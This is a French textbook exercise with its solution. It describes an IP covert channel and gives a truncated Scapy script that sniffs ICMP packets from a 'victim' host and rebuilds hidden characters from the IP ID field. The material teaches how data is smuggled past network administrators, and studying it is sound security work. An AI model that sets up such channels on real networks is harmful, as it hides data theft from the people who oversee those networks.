Mise en pratique

1. Canal caché IP

Énoncé

Prérequis : Python, Scapy, notion de réseau

But : réaliser un script Python qui utilise un canal caché IP.

Énoncé :

Un canal caché IP (covert channel IP) est un canal de communication entre deux ordinateurs qui utilise la bande passante d’un autre canal dans l’objectif de transmettre des informations sans l’autorisation ou la connaissance du propriétaire de l’information ou de l’administrateur du réseau.

Grâce à Scapy, réalisez ce script Python.

Correction

chap3_exo2.py


#!/usr/bin/env python  
# -*- coding: iso-8859-15 -*-  
 
from scapy.all import *  
conf.verb=0  
 
def traitePaquet(p):  
        if p[IP].ttl > 230:  
                print ""  
                sys.exit(0)  
        sys.stdout.write(chr(p[IP].id))  
 
sniff(  
        filter = "icmp and src //@victim//",  
        lfilter = lambda p: p.haslayer(ICMP) and p[IP].id < 256, 
        prn = traitePaquet,  
                                 #}Pour le traitement en live 
                                 store...
couv_EP2HAFO.png

Découvrez 

le livre :

Aussi inclus dans nos :

Précédent
Conclusion
Suivant
Introduction